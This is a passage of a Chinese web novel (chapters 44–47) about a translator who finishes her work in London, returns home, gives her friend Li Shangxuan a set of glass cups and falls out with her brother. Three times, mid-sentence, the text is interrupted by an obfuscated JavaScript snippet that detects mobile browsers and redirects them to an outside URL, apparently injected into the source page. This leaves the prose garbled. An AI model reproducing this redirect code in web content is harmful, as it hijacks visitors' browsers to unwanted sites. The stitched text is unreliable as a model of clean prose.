黎尚轩推开办公室的门,在办公桌前坐下:【还有一些定制的家具,比如书柜之类的。这一部分倒没有硬装那么复杂,但加在一起还是挺耗费功夫的。】 黎尚轩:【不过已经能看到胜利的曙光啦!】 段黛发了个期待的表情包。 精品店里有各种琳琅满目的小摆件,段黛一时看花了眼。就在她眼花缭乱时,忽然看到了放在玻璃展柜上的一套玻璃杯。 玻璃杯是彩色玻璃做成的,乍一看像是教堂里的窗户。段黛凑过去看了看,发现上面的图案正是教堂里的缩小版。 这套玻璃杯有大中小三个,无论是喝咖啡还是冷饮或茶都能找到适用的。 段黛心中一动,发消息给黎尚轩道:【你猜我现在在做什么?】 不过发出去后她又改变主意了。她还要至少一个月才能回国呢,不急着现在就告诉他自己准备给他礼物这件事。 黎尚轩:【在看书?】 段黛:【我在给编辑她们买礼物。】 黎尚轩:【出国一趟,总归要捎点东西回来,是这样吧?】 段黛:【对,有让我带书的,还有要化妆品的,带手帐材料的……还真不少呢。】 黎尚轩:【哈哈哈,辛苦了。】 段黛:【你没有什么想要的东西吗?】 黎尚轩看着段黛发来的精品店的照片,尤其是看到那个被拍的清清楚楚的彩色玻璃杯时,还是狠狠心动了的。 其实国外的东西未必就比国内好到哪去,黎尚轩也并没想要什么只有英国才有的东西。他羡慕的,是能够收到段黛的礼物这件事。 仔细一想,这些礼物在回国时都会变成很沉的行李,到时候只怕是会给段黛添加负担。思及此,他还是道:【我就不用啦,不给你的行李增重了。】 段黛轻轻一笑:【好啊。】 从店里出来时,段黛手上多了那套已经打包好的玻璃杯。 44. 第一场雪 关月兰要化妆品,林若愚要书,同学裴斯羽提了一句想要的外套、后认识的女画家章瑾慧……段黛在各个商场穿梭,把她们想要的东西都买到了。 从商场出来时,脸上忽然落下一片冰凉。 是雪花落在脸上了。 段黛抬起头来,只见纷纷扬扬的雪花在湛蓝的天空间飞舞。 “下雪了啊……” 段黛喃喃自语。 手机振动,黎尚轩发了消息来:【临安今天下雪了。】 他发来了一张照片,临安市标志性建筑物的塔尖矗立在画面一角,深色的夜空中有白色的雪粒飘摇。 段黛:【真巧,伦敦也下雪了。】 她拍了一张这里的天空,雪花落在她的脸上缓缓融化,带来一阵浅浅的冰凉。 段黛:【手上的稿子到收尾阶段了,估计用不了多久我就可以回国了。】 黎尚轩:【劳逸结合,别太累了。】 段黛:【我有时候累了会翻译日语放松一下,放心。】 黎尚轩:【……好小众的休息方式。】 所有资料都收集齐全了,《经录》的译文段黛基本上都过了一遍,剩下的就是一些收尾的工作了。她缩进了阁楼,谢绝了方若水他们的拜访,进入了半闭关的状态,专心致志地完成翻译稿件。 温蒂担心段黛这个工作狂会沉迷工作忘记吃饭,于是每天催着文森特一起来画室。不过来了之后她就发现自己是想多了。段黛虽然极其内卷,但生活很有规律,每天早睡早起,在该吃饭的时候会下楼做饭,有时甚至还会问他们要不要吃炒面。即便是自由职业,段黛也像上班族一样严格地按照“上班时间”工作,看起来居然诡异的很健康。 文森特对此表示震惊:“自由职业不就是图工作时间自由吗,为什么段黛有种在上班的感觉?” 温蒂回味了一下她从方若水那里学到的一个中文词汇:“难怪表妹说段黛身上有班味儿呢。” 就这样段黛深居简出了一个月,直到浩大的文稿终于被她整理地像模像样,就连格式和排版都该出来了。 昏暗的房间内,只有电脑屏幕还亮着光。 噼里啪啦的键盘声响起,段黛敲下了最后一行字。 当打下翻译稿最末尾的句号后,段黛长长地呼出一口气。 这本被原主拖延了两年的《经录》,终于翻译完了。 她转头看着窗外,漆黑的夜空上挂着镰刀一般的月亮,有雪花飘飘摇摇的从天上落下,昭示着凛冬已至。 手机上弹出了高中同学聚会的消息,之前班级里的班长问段黛参不参加。 段光耀和赵玉兰也发来消息,问她回不回家过年。 段黛伸了个懒腰,环视着这个自己住了四个多月的阁楼。 该回国了。 翻译稿件先段黛一步回国。关月兰上班时看到邮箱里重量级的稿件后瞪大了眼睛,赶紧给段黛发消息:【你写完了?】 发完之后她才想到现在伦敦那边还是晚上,段黛估计是在睡觉,根本看不到她的消息。她坐在工位上一边解压文件一边抓耳挠腮等了许久,还是忍不住又发了几句:【你是不是要回国了?】 林若愚看到关月兰的电脑屏幕:“这是段老师的稿件?” 关月兰:“嗯,她好像翻译完了,整个打包发过来了。” 她敲了敲自己的额头:“伦敦那边还是三更半夜呢,估计得等到下午才能收到段黛的消息了,咱们先审稿吧。” 段黛睁开眼之后看到了关月兰的消息,这才想起来自己发完邮件后忘了给她发消息做解释说明了。段黛简单说了一下稿件的情况,又聊了一下对之后装帧设计的构想,还给她解释了一下另一个压缩文件夹里图片的来源。 最后段黛道:【我大概一个周之后就回国了。】 关月兰:【要收拾东西?】 段黛:【不是,英国这边的朋友要给我开欢送会,我处理完了再回来。】 关月兰:【???好家伙。】 关月兰:【你发个V博吧,就说文稿已经翻译完了,也算是提前做个宣传。】 段黛:【OK。】 ——《经录》全书翻译完成,文稿已交付出版社,敬请期待。 发完后,段黛起床去卫生间洗了把脸,接着换掉了身上的睡衣,套上一件比较保暖的衣服。 伦敦这里阴风阵阵,有一种扎进骨头缝里的冷,就算开空调也很难缓解。段黛下了楼,正巧看到文森特和温蒂围在暖炉前烤火。 听到门开的声音,温蒂扭过头来:“呀,难得见你在工作时间下楼呢。” 段黛笑了笑:“我的工作做完了,再过几天就要回国了。” 温蒂拖了个凳子过来:“过来坐,我们一起暖和暖和。” 她应了一声,向着他们走了过去。 画室里一片狼藉,调色盘没收就放在桌子上,上面的颜料斑驳一片。画架上固定的画纸有作了一半的画,估计是画到一半就去躺着玩手机了。 段黛四处看了看,随口道:“前些日子我光忙着自己的事情了,都没注意你们……你们也有在好好工作吧?” 文森特:“……” 那一天,人们再一次回忆起了被段黛支配的恐惧,和不得不提前完成ddl的屈辱。 段黛在温蒂身边坐下,暖炉的温热迎面而来。就在这时,手机振动了一下,文森特抬头:“谁有新消息了?” 段黛摸出手机来,看到屏幕上弹出的对话框上是“段墨”两个字:“我的。是我国内的朋友发的消息。” 温蒂笑道:“知道你快要回中国了,所以都来联系你了吧?” 段黛浅浅地笑了一下,并未置词。 段墨看到段黛发的V博了。段黛出国是为了翻译收集资料,现在翻译稿件写完了,她应该也要回来了。 他问:【翻译稿件完成了?那你是不是要回国了?】 段黛:【是啊。】 段墨:【哪天回来啊,机票订了吗?】 从前不见他这么关心这个妹妹,现在居然殷勤起来了。段黛觉得有些好笑,含糊道:【还不确定呢,这边还有些朋友找我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672825|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聚会,等处理完了才会回去的。】 众所周知,段黛说要做某件事一定是精确到具体可以落实的程度的。如果含含糊糊的说什么“再说吧”“很快的”,那就是画饼。 可惜段墨没意识到这一点。他见段黛语气平和,还以为她已经不生气了,并且猜到为她送行请她聚会的朋友之中必定有知名画家文森特。一想到自己能通过她搭上文森特,段墨感觉自己功成名就的青云路似乎就近在眼前了。他瞬间感觉浑身轻松,发消息道:【那行,等你回来告诉哥哥,哥哥去机场接你。】 段黛:【到时候再说。】 得知段黛即将回国,方若水恋恋不舍地和同事们办了好几个party来送这个帮他们解决了大麻烦的中国友人。而在国内,段黛即将回国的消息也悄悄在临安蔓延。 自鹿颖出国后,段墨难得又一次联系了陈方烨:【段黛要回国了,到时候一起去接她吗?】 段墨和陈方烨因为段黛而相识,却是因为鹿颖而渐渐熟悉的。他们都认为段黛嫉妒鹿颖,所以在保护鹿颖这件事上同仇敌忾,使得两人的关系竟然还很不错。 但是那次他们一起送鹿颖出国之后,不知道是怎么回事,两人之间的联络就断了。 片刻后陈方烨回了他:【黛黛要回国了?】 段墨记得段黛很爱陈方烨这个男友,好几次吃鹿颖的醋。如果能和陈方烨一起去接段黛,想来她也会很高兴。 他回:【对,她的翻译工作已经做完了,很快就会回来了。】 陈方烨发了个“不辛苦,命苦”的表情包:【黛黛应该不想看到我吧。她都把我拉黑了。】 段墨愣了一下:【?段黛那么喜欢你居然舍得拉黑你?】 陈方烨:【你不知道吗?我和段黛已经……分手了。】 看着屏幕上的字,段墨有种睡了很久之后突然被当头一棒迎面打醒的感觉。他愣愣地盯着手机上的字,好半天都没回过神来。 段黛和陈方烨分手了? 什么时候的事! 他这个哥哥居然一点都不知道? 陈方烨:【是段黛提的。她很坚决,我试着找她挽回过……但是已经没用了。】 陈方烨:【我现在才知道段黛对我来说是多么重要……自从她离开林深后我举步维艰,好像什么事情都做不成……我后悔了,我不应该那样对她的……】 段墨的脑子还是懵的,像是蜂窝打翻了一般嗡嗡的。 怎么会这样? 这期间黎尚轩也传来了硬装基本结束的好消息,从某种程度上讲,段黛回国后就可以收拾收拾搬家了。 段黛:【你这么说,我就迫不及待地想要回国了。】 黎尚轩:【我终于也买车了!不得不说有车之后真的方便很多,你回来我可以去接机。】 段黛:【这么贴心啊,那我肯定要坐一下你的新车了。】 黎尚轩:【等你的航班号。】 段黛:【我刚订好机票,哈哈哈。】 黎尚轩:【Okk,到时候我去机场接你,不见不散。】 45. 恭迎大帝回国 段黛前往伦敦时还是秋季,如今再离开,已经是隆冬了。 在《经录》的译文进入终审环节时,段黛也终于登上了回国的航班。 下飞机时临安市已经是深夜了。段黛取到行李后就收到了黎尚轩的消息:“我在到达大厅。” 段黛伸手理了理脖子上的围巾,扣紧了大衣上的扣子,接着便拖着行李箱出来了。黎尚轩穿着浅咖色的大衣,脖子上也搭了一条围巾。虽说数月未见,但在段黛推着行李出来的瞬间,两人就互相认了出来。 段黛看着黎尚轩和自己差不多的穿搭愣了一下,黎尚轩也没想到他们冬天的御寒装备居然如此相似。停顿片刻,两人相视一笑:“好巧。” 黎尚轩很自然地接过了她手里的行李箱:“手上的工作都结束了?” “嗯,已经到终审了,后面就不是我的工作了。” 黎尚轩笑道:“看来英国的食物确实是不好吃,感觉你的脸都变尖了。” 段黛摸了摸自己的脸,她倒是不太注意这些的,如今才发现自己下巴上的肉都薄了。 “确实是。虽然我能自己做饭,但有时候还是懒,能糊弄一顿是一顿……英国菜不是普通的难吃,而是难吃的匪夷所思,难吃的登峰造极。” 说话间两人已经走出了大厅,来到了室外的停车场。临安倒是很少下雪,那次能和伦敦一起下雪纯属巧合。只是即便不下雪,临安也依旧是寒冷的,萧瑟的妖风刮在脸上还是生疼。黎尚轩下意识走到风来的位置,把段黛挡在了身后:“车就在前面,快走吧。” 一辆黑色的车子停在不远处的车位上,黎尚轩开了锁后叫段黛先上车,随后打开后备箱,把她的行李箱放了进去。 关上车门,寒风都被阻挡在车外。段黛松了松脖子上的围巾,仔细打量了一番车里的陈设。黎尚轩的车子里几乎没有任何配饰,没挂香薰也没放摆件,只是在车坐上套了毛茸茸的垫子。 “咔”的一声,车门打开,裴尚轩坐进了车里,一边拉安全带一边道:“扣好安全带哦。” 段黛笑了笑:“已经扣好了。” 车子发动了起来,裴尚轩将车子从车位里倒了出来,离开了停车场,驶入了马路。 “什么时候买的车啊?”段黛摘下了脖子上的围巾。 “半个月前买的,是不是看起来很新?”黎尚轩笑了起来,“之前我总觉得没必要买车,坐地铁和公交挺方便的。最近突然感觉还是有辆车比较好,以后再去客户家里也方便一些。” 段黛感慨:“难怪这车看起来这么新。” 黎尚轩笑道:“而且也恰好是买了车,所以才能来接你了。” 段黛一怔,竟是不知该说什么。她面上虽然如平常一样道着谢,但心里却隐隐有些暖意。 上次她从机场回来还是刚穿过来的时候,前男友指望不上,哥哥答应的好好的还给放了鸽子。若不是段黛自己“骁勇善战”,恐怕深夜从机场回家就要成为她的一个噩梦了。 思及此,段黛望着窗外的路灯轻轻地笑了。 “已经交稿了的话……是不是接下来可以休息一段时间了?” 段黛点了点头:“这段时间也辛苦你了,硬装已经结束了是吧?” 黎尚轩:“对,硬装已经结束了。接下来就是家具之类的选择,你可以亲自来挑一挑了。” 段黛长呼一口气:“没想到这么快,我还以为要等上半年呢。” 黎尚轩笑道:“你的要求虽然多,但大部分都是针对软装的,对硬装的要求反而不高,也没有要用什么很刁钻的新工艺。再加上有我一直坐镇盯着,当然就快了。” 黎尚轩还记得当时段黛说的话:“什么微水泥?没必要没必要。自流平?用不着那么麻烦。复古小花砖?算了吧太花里胡哨了,简单点就行,不然我以后写东西会盯着花纹走神的……” 家装的工艺技术日新月异,不少人都会为了更好的视觉效果而追求更新奇的工艺,相应的要花费的心思也要多很多。但段黛对这些完全不感冒,她几乎把“实用就行”四个字刻到了脑门上。正因如此,硬装上反而比其他客户快了许多。 见段黛转头看着他,黎尚轩不自觉地就抬起了下巴,佯装骄傲的样子,实际上悄悄用眼睛看着前面的反光镜,观察着段黛的神色。 段黛扬起嘴角:“那还真是要多谢你了,帮我省了不少心。” “哪里哪里,这都是我应该做的。” 车子在路灯下安静地行驶着,空调的暖风不断地吹着,让车内渐渐温暖。 段黛又仔细看了看他的车子:“这么看我也该买个车了……” 黎尚轩:“有个车还是挺方便的,毕竟总有地铁和公交到不了的地方。有想过要买什么车吗?” 段黛摇头:“还没研究过呢,之后做做攻略吧。” 黎尚轩道:“我买车之前做了不少攻略,等回去了转发给你。” 段黛连连点头:“好,多谢!” “其实我也考虑过完年后买房了……你买房之前有做过什么攻略吗?” 段黛略有些诧异:“有是有,不过我想着你本身就在这个行业,竟然也需要做攻略吗?” 黎尚轩面不改色:“虽然看起来我是和房子打交道的,但家装设计和房产买卖还是不一样的,我也怕被坑嘛。” 段黛“噢”了一声:“果然隔行如隔山啊,那我回去也把攻略分享给你吧。” 黎尚轩“嗯”了一声,嘴角微微上扬。 一小时后,黎尚轩到达了他们所住的小区。他把车停好,准备下车前问段黛:“这几天你方便吗?明天我们去看看家具?” 段黛:“可以呀,反正我回来之后也没什么事。” 黎尚轩点头:“那明早九点,我来接你。” 下车时,段黛发觉风已经停了,外面也没有那么冷了。黎尚轩打开后备箱,正要把行李箱取下来,段黛忽然道:“等一下。” 她打开了行李箱,从里面拿出一个盒子。 是那天她在教堂外面买的玻璃杯。 她把盒子递给黎尚轩:“我记得你很喜欢收集杯子,这是我采风的时候看到的,感觉很好看,所以……嗯,送给你。” 黎尚轩很是意外。他没有对段黛说过自己想要什么,后来段黛去挑礼物的时候他虽然也知道,但没想到还有送给自己的。 “你怎么知道我喜欢收集杯子……” 段黛莞尔:“你的办公室里放了很多啊。” 黎尚轩惊讶地看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687368|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她:“这你都能记住……” 他当即拆开了盒子,摸出来其中一只杯子。在车子黄色的光照下,玻璃杯透出了彩色的水波纹。 好像是……那天段黛发来的精品店照片里出现的杯子! 那个玻璃杯美貌异常,所以黎尚轩对它印象深刻。当时他非常想要那个杯子,但处于给段黛减负的想法,再加上他觉得这种杯子在网上应该也能找到差不多的款式,所以就没有提。 后来黎尚轩搜图找了好久,类似的款式确实不少,可都没有当时照片里的那个让他惊艳。 没想到段黛居然买回来送给他了! 黎尚轩迅速把杯子塞了回去:“已经感觉到好看了!等我回家再拆!” 他把盒子放到车后座上,又帮段黛把行李箱放了下来:“谢谢你,我很喜欢这个礼物!” 段黛笑道:“你喜欢就好,看来我没挑错。” 黎尚轩回家之后,立刻把盒子拿了出来。他拆开盒子,把里面三个杯子一个一个的拿了出来。他先是拿起了最小的一个,仔细端详了一圈,接着又去看中号的那个。 方才在车子里看的不清楚,现在家里的灯开着,玻璃杯上的每一处花纹都清晰可见。 是很好看的杯子。 黎尚轩的心脏砰砰跳动着,把这三只杯子放到了餐桌上。 他很高兴。 段黛在飞机上已经睡了很久了,再加上时差的缘故,虽然现在临安是深夜,但她一点睡意也没有。 想了半天,她去卫生间洗了个澡,换了身宽松的睡衣。 她打开空调,在热风里仔细看着这间陌生又熟悉的出租屋。仅仅是四个月没回来,她再看这里就已经有些陌生了。 不过也没关系,毕竟她马上就要搬出去了。这间出租屋是原主的避风港,但却只是她的中转站。 反正也睡不着,段黛左思右想,打开了日本轻小说的阅读网站。 临译社正在开拓新业务,也要将知名度比较高的轻小说引进出版了,现在也与几个日语笔译在做接触。 段黛的日语本来是忘的差不多了的,不过在伦敦的这些日子,由于睁眼闭眼都是英文古籍,所以看日轻这种比较轻松的内容可以给她放松不少,时间一长,原先松懈的日语倒是又重新掌握了。 等到《经录》翻译完毕,段黛更是闲着没事就翻译轻小说,如今电脑里已经有两本完稿了。段黛很喜欢这个全新的放松方式,以后大概也会继续坚持。 正看的入迷的时候手机振动了一下,是段墨发来的消息:【订机票了吗?什么时候回国?】 段黛看了一眼时间,没想到已经是凌晨三点了。她微微蹙眉,这个时间了还没睡,段墨的作息竟然这么混乱的吗? 她回:【已经回国了。】 段墨:【这么快?怎么没叫我去接你?】 段黛:【不敢,我回来了这么多次了,用不着劳动您这位大艺术家亲自来接。】 段墨一哽,想到这似乎是自己从前对段黛说的话,没想到被原模原样还了回来。 他转移了话题:【爸妈也挺想你的,明天要不去爸妈那吃个饭吧?】 段黛:【再说吧,我还要倒时差。】 说着她便不再回复了。 46. 私人订制 说是黎尚轩开车来接,实际上两人出门的时间差不多,还在小区里就见到了。两人一起上了车,刚把安全带扣上,便听到黎尚轩开口道:“你送的杯子,很好看。” 段黛转过头来,黎尚轩的脸上并没有什么太明显的表情,但面目有几分柔和。段黛微微一笑:“是吗。” 黎尚轩酝酿了一会儿,最后出口的话也还是很简洁:“我很喜欢。” 段黛莞尔:“喜欢就好。” 两人去了家具厂,黎尚轩负责推荐合适的色系,段黛做最后的选择。段黛对黎尚轩很信任,黎尚轩也不会对她的决定指手画脚。两人相互配合,很快就把剩下的家具定下来了。家具无论大小都是送货上门,不需要他们多做操心。 两人走过几个地方,从沙发挑到台灯,像是打游戏点亮成就一样把设计图里的每个小角落都点亮。最后看着设计图里的部分都完成地差不多了,黎尚轩道:“接下来是一个比较重量级的东西。” 段黛扭头:“还有惊喜?” 黎尚轩故弄玄虚:“为你专门设计的私人订制。” 车子在一家木材工厂前停了下来。黎尚轩一边解开安全带一边道:“地上可能有点脏……嗯……如果你需要的话可以穿个鞋套之类的……” 段黛已经能看到地面上的刨花和木屑了:“没事,咱也不是什么贵妇或者大小姐,而且我还挺喜欢看切木头之类的手工的,咱们直接走吧。” 两人下了车,经过满地的刨花和木屑,最后来到一小块空地。在空地的中央,段黛看到了一张颇有质感的原木写字台。 “……啊!” 段黛忽然想到,刚才挑了那么多家具里,独独没有她最需要的写字台。一开始她还以为是黎尚轩在网上帮她订了呢,没想到居然在这。 写字台一侧是抽屉一侧是柜子,段黛打开柜门,里面还做好了隔层。 “隔层是可拆卸可改变层高的。”黎尚轩走上前去,上手演示给她看。 段黛在看到桌子的一瞬间就想到了要往每个位置放什么东西,显然黎尚轩是在考量了她的书桌之后为她量身定制的。 “这……太贴心了,果然是私人订制。” 黎尚轩笑了起来:“这个位置是用来给你放阅读架的。虽然我估计你可能大部分时候都会把阅读架放在桌面上,但如果你想把桌面收拾干净的话,就可以把阅读架收纳到这里。” 段黛围着写字台转了两圈,连连称奇。就在她摸着桌面爱不释手的时候,忽然摸到一个按钮。她低头一看,居然是个电源键。 她疑惑地转头去看黎尚轩,后者笑道:“你按下去看看?” 闻言段黛立即将按钮按下,实木的桌面随即缓缓上升。段黛惊奇地瞪大了眼睛,手上松开按键,桌面也随之停了下来。 “居然还是升降桌?” 黎尚轩:“高度可以随意控制,之后你想站着办公也没问题了。” 段黛把桌面又降了回去,接着直起腰来:“这是你……自己做的?” 黎尚轩点头:“对,我自己设计自己做的。我看了现在有的升降桌,基本上都是偏科技感一些的,和你想要的风格不搭,而且也没有收纳储物的功能……想了半天不如自己动手啦。现在还只是半成品,还没上木蜡油呢,如果你有不喜欢的地方还可以再改,一会儿你再挑一下木蜡油的颜色。” “不用改了,我很满意,”段黛没想到这居然还只是半成品,“这简直就是我的梦中情桌!” 看着段黛对写字台爱不释手的模样,黎尚轩先是松了口气,接着又不可抑制地高兴了起来。自己冥思苦想设计出来的东西得到了正向的反馈,这种满足感叫黎尚轩忍不住嘴角上扬。 随着他们一路奔波,天色也渐渐昏暗下来。回程的路上,段黛想到了什么,忽然道:“新家里定制的家具应该不止那张写字台吧?” 黎尚轩握着方向盘,神色自然:“嗯,还有咖啡角的桌子、梳妆台这些,都是我设计的,不过参与度没有写字台那么高而已。而且我觉得……写字台对你来说好像更重要一些,所以作为一个惊喜单独给你看了。” 段黛连连点头:“确实是这样的,别的都没什么,写字台对我来说是最重要的东西了。” “等家具到位之后,我再测一下空气质量,没什么问题的话你就可以搬到新家来了,”黎尚轩的语气中有种说不出的轻松,“搬家那天记得叫我,我有一些设计是有比较特殊的收纳技巧的,到时候我来帮你收拾会方便一些。” 段黛爽快地答应了:“多亏有你。” 黎尚轩停好车后,两人一起往回走,直到走到了分叉口才分开。距离搬新家已经不远了,段黛因此心情不错,走在路上还会哼几句歌。但走着走着她就察觉到不对劲了,于是渐渐放慢了脚步。 有人在跟着她。 “……” 段黛回过头来,一眼瞥见了躲在树后面的段墨。她微微蹙眉,抱着手臂,沉声道:“出来。” 这两个字有种莫名的威压,让段墨不由自主地照做。他灰溜溜地走了出来,迎接段黛的质问:“你鬼鬼祟祟的干什么呢?” 段墨有种做贼心虚的感觉,他不正面回答,反而问她:“你今天都干什么去了,怎么从外面回来了,刚刚送你的男人是谁?” 昨天段墨得知段黛一声不吭就已经回家了的事后总觉得心神不宁,思来想去,还是决定来和段黛面对面谈一谈。他起床之后已经是下午了,想着段黛就算是调整时差也应该早就醒了,便直接开车过来了。 没想到敲了半天的门都没人应,段墨疑心是段黛不想理他,于是甚至还把耳朵在门上贴了一会儿。听了半天都没什么声音,他这才确定段黛并不在家。 他在门口坐了一下午。楼道里没有风,倒是不似外面那般寒风萧瑟,但到底还是冷的。他在门口坐的实在受不了了,最后只得放弃。没想到刚到停车的地方,就看到段黛从一辆车上走了下来,还和另一个男人有说有笑地走着。 段墨非常震惊。 他远远地跟在后面,想等着段黛先到家之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699705|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己再敲门,没想到被她发现了。 段黛敷衍地解释了一下:“今天去了一下出版社。刚才那个人也住这个小区,经常碰见所以比较熟了。正好他上班的地方离出版社近所以顺路把我捎了回来……你来干什么的?” 段墨:“……” 段黛:“来之前不会发个消息?现在好了,碰上我不在家了吧?” 段墨被她堵的说不出话来,好半天才道:“……我……我来看看你。” “……” 段黛很是无语地看着他:“别吧,你这样挺假的。” 段墨跟在段黛的身后上了电梯,极力辩解:“这怎么就假了,你之前不也经常去我那看我吗……” 段黛不仅冷笑:“之前你不是嫌我烦吗,怎么现在又来这一出?” 段墨哑口无言。 电梯门打开,段黛将钥匙插进了防盗门,随着钥匙转动的咔哒声,她缓缓道:“你这个时候来找我扮演什么兄妹情深的话,怪恶心的。” 她非常自然地推门而入,然后就要把门关上。眼见着要被关到门外了,段墨赶紧扒住门缝:“你不让我进去?” 段黛:“你进来干什么?” 段墨急了:“我……我确实有事找你,咱们进去说吧!” 到底段墨是有血缘关系的亲戚,段黛不能像对待陈方烨那样直接把人关到门外去。她叹了口气:“长话短说。” 段墨赶紧挤了进去,在玄关处轻车熟路地换好了鞋。 段黛把外套脱下来往门上一挂,抄起空调遥控器打开了空调,接着在沙发上坐下:“说吧,什么事?缺钱了?” “不是……”段墨面红耳赤,他拘谨地在沙发上坐下,然后开始……卖惨。 “……我的画根本卖不出去……” “……感觉自己压力很大……” 他絮絮叨叨地说着自己辞职后的生活,抱怨着自己的怀才不遇。段黛打了个哈欠,打断他的长篇大论:“说重点,你的画卖不出去我也帮不上忙,所以你找我什么事?” 段墨一下子哑了火了。他难道要开口求她,让她把自己推荐给文森特? “我觉得如果……如果有个有名气的人来带我,那可能……” 段黛挠了挠头:“噢,那你找到有名气的人就上吧。我一个破文学翻译哪里知道什么艺术家。” 段墨没想到自己都暗示到这个程度了,段黛还在哪里装傻。他的脸涨红了,要他低声下气的主动向段黛开口……这种事他怎么想怎么觉得羞耻。 为什么段黛不能主动说给他牵个线认识一下文森特啊! 段墨一直不说话,只是踌躇地坐在那里,两只手用力地抓着衣服边,关节都有几分泛白了。他忐忑地看着段黛,然而后者一脸不耐烦的样子,反复抬头看着墙上的钟表。 段墨一边惶恐一边震惊,段黛这是……对他不耐烦了? 终于,段黛打破了这尴尬的沉默。她“啧”了一声:“你到底说不说?你知不知道这样影响到我的时间安排了?” 47. 最讨厌只有一句“在吗” 段墨整个人如遭雷击,段黛居然嫌弃他到这般地步? 然而段黛对他的冷淡这些日子来也是有目共睹的,段墨不敢问这一点,只能结结巴巴道:“你不是已经把那本……那本书翻译完了吗,出版社不都是会给你留一段时间休息吗……还有……还有什么工作安排啊?” 段黛呼出一口气:“我休息的时候会翻译日语放松一下。你要是不在这杵着,我应该已经翻译完两页了。” “……” 段墨一脸不可思议,心中方才的窘迫转而被一种震撼取代:“是我听不懂人话了还是你没说人话?” 怎么单个字他都能听懂,组合到一起他就听不懂了? 通过翻译日语来放松一下,这是人话吗? 段墨忍不住道:“你的工作不就是翻译吗,怎么休息了还在翻译?” 段黛回答的理所当然:“我的工作是英语和法语翻译,休息的时候只是翻译日本轻小说而已。有什么问题吗?” 问题可太大了吧! 段黛可不给他从震惊中反应过来的机会。她直白道:“所以你来找我到底是想干什么?要是只是想抒发一下怀才不遇的愤懑之情就到此为止吧。” 段墨这才想起自己跑这一趟的目的。眼见着段黛要下逐客令了,他急了:“你难道忍心看你哥哥一直这么郁郁不得志吗?” 段黛一脸奇怪地看着他:“这有什么不忍心的?” 段墨瞪大了眼睛,难以置信道:“难道你觉得,我现在这样都是咎由自取?” 段黛:“难道不是吗?” 段墨如遭雷击,嘴唇都在颤抖:“你……你竟然是这么想我的……” “你读的美院不差,要是能借着那个平台努力往上走,多参加参加活动,哪怕只是和老师们搞好关系,也不至于像现在这样无人在意。但你自诩清高,不知道为什么要在同学面前揣着优越感,所以他们参加比赛参加活动从来不告诉你,而你为了堵那一口气也不去打听。” 段黛的声音冰冷,像是根锥子一样扎在段墨的胸腔,让他连呼吸都变得艰难而疼痛。 “所以,大学就是你这辈子能够到的最高的地方了。但你又偏偏心比天高,不愿意老老实实的工作……”段黛歪头,语气满是嘲讽,“所以好也罢坏也罢,这一切难道不是你咎由自取?” “……” 段墨的眼眶通红:“你原来这么看不起我!” 段黛微笑:“是啊,我确实看不起你。” “你!” 被臭骂一通的段墨霍然站了起来:“少瞧不起人,有你后悔的时候!三十年河东三十年河西,莫欺少年穷!” 说罢,段墨怒气冲冲地走了。 防盗门被甩上时发出了震天的响声,段黛面无表情地坐在沙发上。 半晌,她“噗嗤”一下,笑出了声。 段墨也太好忽悠了。 稍微激怒他一下,马上就把自己本来的目的给咽回去了。 “还三十年河东三十年河西呢……原来真的会有普信男这么说话啊。”段黛伸了个懒腰,打开某宝下单了搬家专用的纸箱子。 等之后他就会发现,自己不仅能说“莫欺少年穷”,还会说“莫欺中年穷”和“莫欺老年穷”呢。 没有了亲妹妹这个血包,段黛很期待她这个便宜哥哥能走到多远。 等到下了楼之后段墨才想起来,本来他是要拜托段黛帮忙办事的。 但是自己都被这样辱骂了,要是还低三下四地求她,那也……太难看了吧。 段墨喉中梗着一口气。他回头看了一眼身后老旧的大楼,愤恨地想着不求也罢,就让她继续在这个狭小逼仄的出租房里自我感觉良好吧。 圣诞节这天,段黛终于迎来了乔迁之喜。黎尚轩来到她的出租屋的时候,看到房间里几乎已经空了,地面上大大小小摆了无数个纸箱,箱子上用记号笔写了里面存放的东西。 黎尚轩很是惊奇:“原来你已经都收拾好了啊,我还想着过来帮你一起打包呢。” 黎尚轩见过太多在搬家当天才开始打包行李的人了,所以这次他特意提早来了一些,没想到段黛把行李收拾的像是请专业团队来做的一样,几乎不需要他多操心什么。 段黛笑了笑:“提前四五天就开始装了,正好今天全收起来了。” 货车很快就到了,大小箱子被一一放上了拖车。虽然都打包好了,但到底数量太多,还是来回跑了好几趟。寒冬腊月的时候穿着棉袄又一身汗,这种感觉格外不爽。 最后坐上车的时候段黛气喘吁吁:“累死我了。” 黎尚轩拉上安全带:“现在还不算什么,等到了新家把行李卸下来之后才是最累的。” 段黛:“……” 